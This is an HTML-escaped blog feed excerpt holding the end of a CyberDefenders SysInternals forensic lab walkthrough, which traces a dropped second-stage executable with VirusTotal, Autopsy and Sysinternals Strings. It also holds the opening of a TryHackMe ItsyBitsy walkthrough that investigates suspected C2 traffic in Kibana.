executable?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump back over to our &lt;em&gt;VirusTotal&lt;/em&gt; session to continue with our analysis.&lt;/p&gt;&#xA;&lt;p&gt;This time, we are going to click the &lt;em&gt;Behavior&lt;/em&gt; tab and scroll down to the &lt;em&gt;Process and service actions&lt;/em&gt; section so we can focus on the &lt;em&gt;Process Tree&lt;/em&gt; for the malware binary that we found in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;872px&#34; data-flex-grow=&#34;363&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/608948fa493d8be600c465d622319684_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s something interesting here — the process tree for the malware binary spawns the &lt;em&gt;Windows&lt;/em&gt; command prompt (&lt;em&gt;cmd.exe&lt;/em&gt;) and runs an executable file which installs and starts a service, then sets it to automatically start.&lt;/p&gt;&#xA;&lt;p&gt;The executable file is the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;dropped file&amp;rdquo;&#xA;that we are looking for to answer &lt;strong&gt;Question 7&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1218px&#34; data-flex-grow=&#34;507&#34; height=&#34;155&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/ae69d3ca5caeddb28918b79366d6b049_MD5.png&#34; width=&#34;787&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-name-of-the-service-installed-by-2nd-stage-executable&#34;&gt;Question 8: What is the name of the service installed by 2nd stage executable?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, from our research for the previous question with &lt;em&gt;VirusTotal&lt;/em&gt; we already discovered the installed service information.&lt;/p&gt;&#xA;&lt;p&gt;This tactic could be used by a bad actor for &lt;em&gt;Execution&lt;/em&gt;, &lt;em&gt;Persistence&lt;/em&gt;, or &lt;em&gt;Privilege Escalation&lt;/em&gt; within a victim environment. For further reading, I&amp;rsquo;m including some additional information on these techniques from &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; if you&amp;rsquo;d like to know more — fun stuff!&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1569/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK — System Services: Service Execution (T1569.002)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK — Create or Modify System Process: Windows Service (T1543.003)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s review it again and check our work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;144&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/357fe562f1b703ddbcd28011b05bc7dc_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-what-is-the-extension-of-files-deleted-by-the-2nd-stage-executable&#34;&gt;Question 9: What is the extension of files deleted by the 2nd stage executable?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question for our investigation! Let&amp;rsquo;s go ahead with some static analysis of the 2nd stage executable that we discovered in &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;From &lt;em&gt;VirusTotal&lt;/em&gt; we learned that the binary was executed from the &lt;em&gt;Windows&lt;/em&gt; folder. Since we know the file path now, why don&amp;rsquo;t we try to extract the file from the victim&amp;rsquo;s image using &lt;em&gt;Autopsy&lt;/em&gt; so that we can analyze it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;727px&#34; data-flex-grow=&#34;303&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/974733deffdfcc18270281277d5c8d37_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Extracting the 2nd stage executable with Autopsy&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Windows folder&lt;/em&gt; with &lt;em&gt;Autopsy,&lt;/em&gt; right-click and extract the file.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have our sample, we can start at a high-level and parse the &lt;strong&gt;&lt;em&gt;strings&lt;/em&gt;&lt;/strong&gt; stored in the malware.&lt;/p&gt;&#xA;&lt;p&gt;For some quick background if you are unfamiliar: &lt;em&gt;strings&lt;/em&gt; are pieces of data that store information in an application. So, if we are analyzing an application or some code, being able to extract strings can help us as defenders to understand a program&amp;rsquo;s intent or functionality and could reveal interesting artifacts like IP addresses, URLs, commands, credentials, etc.&lt;/p&gt;&#xA;&lt;p&gt;While there are a couple of ways we can approach this, we are going to serve poetic justice and leverage the &lt;strong&gt;legitimate&lt;/strong&gt; &lt;em&gt;Sysinternals&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Strings&lt;/em&gt;&lt;/a&gt; utility to perform the analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;  title=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Strings - Sysinternals&lt;/strong&gt;&#xA;_Search for ANSI and UNICODE strings in binary images._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the &lt;em&gt;Sysinternals Strings&lt;/em&gt; downloaded, open the &lt;em&gt;Windows terminal (Command Prompt or PowerShell),&lt;/em&gt; and run &lt;em&gt;strings.exe&lt;/em&gt; against the 2nd stage executable that we extracted from &lt;em&gt;Autopsy.&lt;/em&gt; For this write-up, I also directed the output to a .txt file for easier analysis.&lt;/p&gt;&#xA;&lt;p&gt;.\strings.exe &amp;ldquo;PATH-TO-2ND-STAGE-EXPORT&amp;rdquo; &amp;gt; &amp;ldquo;PATH-TO-OUTPUT-FILE&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8727px&#34; data-flex-grow=&#34;3636&#34; height=&#34;22&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/f93c878be4902e7d974977c8689574a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell syntax to run Strings.exe&lt;/p&gt;&#xA;&lt;p&gt;As a starting point, let&amp;rsquo;s search the output file. We&amp;rsquo;ll use the installed service name that we found in &lt;strong&gt;Question 8&lt;/strong&gt; to get us closer to the functions that we want to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;273px&#34; data-flex-grow=&#34;113&#34; height=&#34;703&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/fce91782369d391fef70e0e38efc879f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we already found something interesting — a wildcard string for a specific file extension.&lt;/p&gt;&#xA;&lt;p&gt;This is a good lead, so let&amp;rsquo;s pivot back over to &lt;em&gt;VirusTotal&lt;/em&gt; so that we can confirm our findings and see if we can discover any file deletion behavior. But first, we need to grab the file hash of the executable that we carved from &lt;em&gt;Autopsy.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s just jump into &lt;em&gt;PowerShell&lt;/em&gt; and do a simple &lt;em&gt;get-filehash&lt;/em&gt; to get the SHA256 hash of this file so that we can check &lt;em&gt;VirusTotal&lt;/em&gt; again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/2cd6cc387dd291d0ca1eab1da6df15b5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;923px&#34; data-flex-grow=&#34;384&#34; height=&#34;208&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/bfdc5f7fba38c7b3ff9a72790464ecc7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Behavior&lt;/em&gt; tab &amp;gt; &lt;em&gt;File System Actions&lt;/em&gt; &amp;gt; &lt;em&gt;Files Deleted.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;187px&#34; data-flex-grow=&#34;78&#34; height=&#34;771&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/2106ea2ebd619db744a11d14d5e57685_MD5.png&#34; width=&#34;602&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking through the &lt;em&gt;VirusTotal&lt;/em&gt; report, we see file deletion activity with the same extension that we discovered using &lt;em&gt;Strings&lt;/em&gt;. For the purposes of this challenge, we have double-confirmation and high confidence that this is the answer &lt;strong&gt;Question 9.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1242px&#34; data-flex-grow=&#34;517&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/a319ffbf0dfcdf2c615aee86fb697e45_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission complete! We successfully completed the listed objectives and analyzed the artifacts on the victim&amp;rsquo;s system to get through the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SysInternals&lt;/strong&gt;&lt;/a&gt; challenge! It&amp;rsquo;s time for the after postmortem report and to close this case!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders.org&lt;/strong&gt;&lt;/a&gt; for hosting this awesome lab! This lab was more challenging than I expected, and the variety of tools needed to solve the challenges kept me engaged throughout. For my own knowledge gaps and practice, the questions that leveraged Eric Zimmerman&amp;rsquo;s &lt;em&gt;AmcacheParser&lt;/em&gt; and &lt;em&gt;AppCompatCacheParser&lt;/em&gt; were extremely valuable. These tools were new to me, but I&amp;rsquo;ll definitely be adding these to my toolbox going forward.&lt;/p&gt;&#xA;&lt;p&gt;I hope that you had as much fun as I did and learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Sysinternals:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sleuthkit Autopsy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/sleuthkit/autopsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/sleuthkit/autopsy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T0849)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T0849/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T0849/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Google Cloud Blog (AppCompatCache):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cloud.google.com/blog/topics/threat-intelligence/caching-out-the-val&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cloud.google.com/blog/topics/threat-intelligence/caching-out-the-val&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS AppCompatCache Blog Post:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/mass-triage-part-4-processing-returned-files-appcache-shimcache/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/blog/mass-triage-part-4-processing-returned-files-appcache-shimcache/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Amcache Blog Post:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (PSReadline)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (1st Stage Executable):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/72e6d1728a546c2f3ee32c063ed09fa6ba8c46ac33b0dd2e354087c1ad26ef48/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/72e6d1728a546c2f3ee32c063ed09fa6ba8c46ac33b0dd2e354087c1ad26ef48/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1569.002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1569/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1569/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1543.003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1543/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SysInternals — Strings:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/strings&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (2nd Stage Executable):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5b01cca415277e5fb0c454690142b9b4029a1566938875497d2f0593db555270/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5b01cca415277e5fb0c454690142b9b4029a1566938875497d2f0593db555270/detection&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  ItsyBitsy Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/</link>
            <pubDate>Sun, 23 Jun 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/37b86be078b6e7a7a3c0c18c9f35741a_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  ItsyBitsy Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmeitsybitsy-challenge-walkthrough&#34;&gt;TryHackMe — ItsyBitsy Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;incident-response-challenge-using-the-elasticstack&#34;&gt;Incident Response Challenge using the Elastic Stack&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;37b86be078b6e7a7a3c0c18c9f35741a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;456px&#34; data-flex-grow=&#34;190&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/37b86be078b6e7a7a3c0c18c9f35741a_MD5.png&#34; width=&#34;551&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/itsybitsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/itsybitsy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;Are you curious about investigating incidents using the &lt;em&gt;Elastic (ELK) stack&lt;/em&gt;? Well you&amp;rsquo;re in luck — we’re about to tackle the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/itsybitsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ItsyBitsy&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/itsybitsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ItsyBitsy&lt;/strong&gt;&lt;/a&gt; is a DFIR challenge where we will analyze the HTTP network connection logs captured from a device. The not great news is that this device was making some suspicious network calls to a potential command and control server. To figure out what happened, we’ll use the &lt;em&gt;Kibana&lt;/em&gt; module within the &lt;em&gt;Elastic Stack&lt;/em&gt; to search the through logs, visualize the data, and determine what was downloaded.&lt;/p&gt;&#xA;&lt;p&gt;But first, a high-level infographic of where &lt;em&gt;Kibana&lt;/em&gt; fits into the &lt;em&gt;Elastic Stack&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b9fbed44a7928435bf0f0d975499ab79_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;771px&#34; data-flex-grow=&#34;321&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/b9fbed44a7928435bf0f0d975499ab79_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/investigatingwithelk101&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/investigatingwithelk101&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Want more? Go check out the full &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/investigatingwithelk101&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating with ELK 101 room&lt;/strong&gt;&lt;/a&gt; on &lt;em&gt;TryHackMe&lt;/em&gt; which covers the &lt;em&gt;ELK stack&lt;/em&gt; fundamentals in much more detail.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you’re here to learn more about investigating with &lt;em&gt;Elastic&lt;/em&gt;, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/itsybitsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ItsyBitsy&lt;/strong&gt;&lt;/a&gt; challenge, you’ve stumbled on the right blog. In the spirit of learning, I am not going to be revealing any flags in this write-up, so I encourage you to go hands-on and try it for yourself — you got this!&lt;/p&gt;&#xA;&lt;p&gt;Now let’s put on our detective hats and have some fun with forensics!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/itsybitsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/itsybitsy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;During normal SOC monitoring, Analyst John observed an alert on an IDS solution indicating a potential C2 communication from a user Browne from the HR department. A suspicious file was accessed containing a malicious pattern THM:{ ________ }. A week-long HTTP connection logs have been pulled to investigate. Due to limited resources, only the connection logs could be pulled out and are ingested into the &lt;code&gt;connection_logs&lt;/code&gt; index in Kibana.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our task in this room will be to examine the network connection logs of this user, find the link and the content of the file, and answer the questions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-events-were-returned-for-the-month-of-march2022&#34;&gt;Question 1: How many events were returned for the month of March 2022?&#xA;&lt;/h3&gt;&lt;p&gt;First things first, we’ll enter the &lt;em&gt;Elastic&lt;/em&gt; web console and then navigate to the &lt;em&gt;Kibana&lt;/em&gt; &amp;gt; &lt;em&gt;Discover Analytics&lt;/em&gt; module. &lt;em&gt;Kibana&lt;/em&gt; is used to search logs and visualize them, so using the &lt;em&gt;Discover&lt;/em&gt; module will enable us to query and explore the provided network &lt;em&gt;connection_logs&lt;/em&gt; index_._&lt;/p&gt;&#xA;&lt;p&gt;To access the &lt;em&gt;Discover&lt;/em&gt; tab, we can either input “&lt;em&gt;discover&lt;/em&gt;” into the search box at the top of the dashboard or use the menu on the left-hand sidebar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c6852a5250fe399caca12ed95c655b86_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1894px&#34; data-flex-grow=&#34;789&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/c6852a5250fe399caca12ed95c655b86_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/c6852a5250fe399caca12ed95c655b86_MD5_hu_bfc8fb744da5d6ff.png 800w, https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/c6852a5250fe399caca12ed95c655b86_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 1&lt;/strong&gt;, our objective is to narrow the search scope to a single month. To do this, we will need to adjust the &lt;em&gt;time filter&lt;/em&gt; so that we can focus only on the events that occurred in March of 2022. Let’s modify the dates in the time selection field.&lt;/p&gt;&#xA;&lt;p&gt;We’ll filter the first date/time to Absolute and set the start date to &lt;em&gt;March 1, 2022,&lt;/em&gt; at &lt;em&gt;0:00&lt;/em&gt; and then the end date to &lt;em&gt;March 31, 2022,&lt;/em&gt; at &lt;em&gt;23:30&lt;/em&gt;. This selection should give us the entire month of March 2022.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7d3c5bc46cf3c2db2cf0330ded494050_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;748px&#34; data-flex-grow=&#34;311&#34; height=&#34;385&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/7d3c5bc46cf3c2db2cf0330ded494050_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/7d3c5bc46cf3c2db2cf0330ded494050_MD5_hu_28b1ad0de622f30.png 800w, https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/7d3c5bc46cf3c2db2cf0330ded494050_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we apply the date/time filter, we’ll see our results displayed as a total number of hits and now we have some data to analyze and the answer to &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;78df9ec44d271308d490784f1e96c33c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 